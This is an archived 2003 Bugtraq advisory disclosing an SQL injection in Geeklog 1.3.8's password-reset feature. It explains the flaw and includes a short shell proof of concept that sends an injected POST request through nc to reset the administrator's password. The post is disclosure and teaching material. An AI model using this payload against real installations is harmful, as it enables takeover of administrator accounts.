lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20031019162655.GB32227@jouko.iki.fi>
Date: Sun, 19 Oct 2003 19:26:55 +0300
From: Jouko Pynnonen <jouko@....fi>
To: bugtraq@...urityfocus.com
Subject: Geeklog exploit



Following is an example of how MySQL SQL injections can be exploited, 
and also how suppressing error messages isn't sufficient as a solution,
as proposed in some earlier postings. It was also included in Geeklog 
1.3.8-1sr1 security update (even though the developers noted it's not a 
complete protection).

The exploit uses the "forgot password" feature introduced in Geeklog 
1.3.8. By constructing a certain kind of HTTP request, an attacker can 
change any user's Geeklog password, including the administrator 
password. This is because an SQL injection problem. In users.php we have 
this kind of code (line about 750):

  if (!empty($uid) && is_numeric($uid) && !empty($reqid)) {
     $valid = DB_count($_TABLES['users'], arrary('uid', 'pwrequestid'),
                       array($uid, $reqid));
     if ($valid==1) {
          // generate an md5 hash for the new password and change it
     } else {
          // invalid request, display error message
     }
  }

The database module layer hides the actual SQL queries and this doesn't 
look very clear yet, but if we log all SQL queries executed, we see that 
the above code produces this SQL (with e.g. $uid=2 and $reqid=3):

  SELECT COUNT(*) FROM gl_users WHERE uid = '2' AND pwrequestid = '3'

The password is changed only if the count returned by this query is 
exactly one. The only check done for $reqid is that it's not empty. It 
can contain anything, so changing $reqid to e.g. "3' or uid='1" the SQL 
server will get this query instead:

  SELECT COUNT(*) FROM gl_users
  WHERE uid = '2' AND pwrequestid = '3' or uid='1'

The pwrequestid = '3' condition is false unless the admin user really 
forgot the password and uses this feature at the same time (very 
unlikely). But because of the "or uid='1'" part, the query will still 
return one, because a user with uid=1 exists (the Anonymous user). So, 
the $valid variable in the above code is set to one and the password is 
changed.

This of course has nothing to do with displaying error messages. The 
exploit doesn't produce any error message because the SQL code above is 
correct.

I have informed Geeklog developers about this and they have released a 
fixed version, see http://www.geeklog.net.

Proof of concept exploit:

------------->8------------->8------------->8------------->8--------------
#!/bin/sh

echo "POST /path/to/gl/users.php HTTP/1.0
Content-length: 50
Content-type: application/x-www-form-urlencoded

mode=setnewpwd&passwd=new&uid=2&rid=3'+or+uid='1&
" | nc localhost 80

------------->8------------->8------------->8------------->8--------------

This should change the Admin user's password to "new". You have to 
change the /path/to/gl/users.php according to your Geeklog 
installation.




-- 
Jouko Pynnönen          http://iki.fi/jouko/
jouko@....fi



Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ